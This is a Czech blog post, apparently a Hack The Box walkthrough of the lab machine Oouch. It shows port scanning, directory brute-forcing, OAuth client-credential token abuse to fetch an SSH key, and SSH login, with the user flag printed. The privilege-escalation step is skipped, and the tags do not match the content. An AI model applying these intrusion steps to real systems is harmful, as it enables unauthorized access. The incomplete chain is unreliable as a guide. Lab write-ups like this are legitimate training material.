tom@home.htb:~$

Blog o HTB

24 December 2020

Oouch

Úvod a kontext

Na Oouch je nejzajímavější, jak se propojí OAuth tokeny a aplikační tajemství, převod dokumentů a server-side render a anonymní FTP.

Bez pochopení této návaznosti by nedával smysl ani OAuth token a návazný přístup do aplikace, ani závěrečná zneužití D-Bus a práce s iptables.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp            49 Feb 11 19:34 project.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.14.38
|      Logged in as ftp
|      TYPE: ASCII
|      Session bandwidth limit in byte/s is 30000
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
|_  256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
5000/tcp open  http    nginx 1.14.2
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET
|_http-server-header: nginx/1.14.2
[... výstup zkrácen ...]
|     Content-Type: text/html
|     Vary: Authorization
|     <h1>Bad Request (400)</h1>
|   SIPOptions:
|     SIP/2.0 400 Bad Request
|     Content-Type: text/html
|     Vary: Authorization
|_    <h1>Bad Request (400)</h1>
|_http-title: Site doesn't have a title (text/html).
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)

Enumerace webu

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

./dirsearch/dirsearch.py -u http://$IP:5000 -e php -x 403 -r
[19:39:15] 302 -  247B  - /about  ->  http://10.10.10.177:5000/login?next=%2Fabout
[19:39:38] 302 -  251B  - /contact  ->  http://10.10.10.177:5000/login?next=%2Fcontact
[19:39:42] 302 -  255B  - /documents  ->  http://10.10.10.177:5000/login?next=%2Fdocuments
[19:39:49] 302 -  245B  - /home  ->  http://10.10.10.177:5000/login?next=%2Fhome
[19:39:56] 200 -    2KB - /login
[19:39:57] 302 -  219B  - /logout  ->  http://10.10.10.177:5000/login
[19:40:02] 302 -  247B  - /oauth  ->  http://10.10.10.177:5000/login?next=%2Foauth
[19:40:09] 302 -  251B  - /profile  ->  http://10.10.10.177:5000/login?next=%2Fprofile
[19:40:10] 200 -    2KB - /register

Enumerace webu (2)

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log,xml -u http://$IP:5000
===============================================================
/contact (Status: 302)
/logout (Status: 302)
/login (Status: 200)
/register (Status: 200)
/about (Status: 302)
/home (Status: 302)
/profile (Status: 302)
/documents (Status: 302)
/oauth (Status: 302)

Získání přístupu

Přihlášení na cíl

Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.

curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "grant_type=client_credentials&client_id=aMQDcsyUjT0Kz0JOAPDTYSKQJptnaz8MZ5j6TjaV&client_secret=__CENSORED__" -L -s
=> {"access_token": "JxUkNjpfM5i5ZvlqifDHvo7kzFyJOo", "expires_in": 600, "token_type": "Bearer", "scope": "read write"}

## Získání ssh klíče

http://authorization.oouch.htb:8000/api/get_ssh/?access_token=__CENSORED__
{"ssh_server": "consumer.oouch.htb", "ssh_user": "qtc", "ssh_key": "-----BEGIN OPENSSH PRIVATE KEY-----\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\__CENSORED__\nIEkgsoEGTkznCbAAAADnBlbnRlc3RlckBrYWxpAQIDBA==\n-----END OPENSSH PRIVATE KEY-----"}

=> id_rsa:
-----BEGIN OPENSSH PRIVATE KEY-----
__CENSORED__
__CENSORED__
__CENSORED__
...
/__CENSORED__
/__CENSORED__
__CENSORED__
__CENSORED__
__CENSORED__
...
IEkgsoEGTkznCbAAAADnBlbnRlc3RlckBrYWxpAQIDBA==
-----END OPENSSH PRIVATE KEY-----

Přihlášení na cíl (2)

Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.

ssh -i Oouch_qtc_id_rsa qtc@consumer.oouch.htb

Získání user flagu

User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.

Následující úsek zachycuje přechod k uživatelskému přístupu a jeho ověření přes user.txt.

ssh -i Oouch_qtc_id_rsa qtc@consumer.oouch.htb
cat user.txt
2db6b9d9939e3491470e433352750bcd

.note.txt:
Implementing an IPS using DBus and iptables == Genius?
=> DBus?

Eskalace oprávnění

Získání root flagu

Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.

cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: xss - rce - ssh - php - exploit - enumeration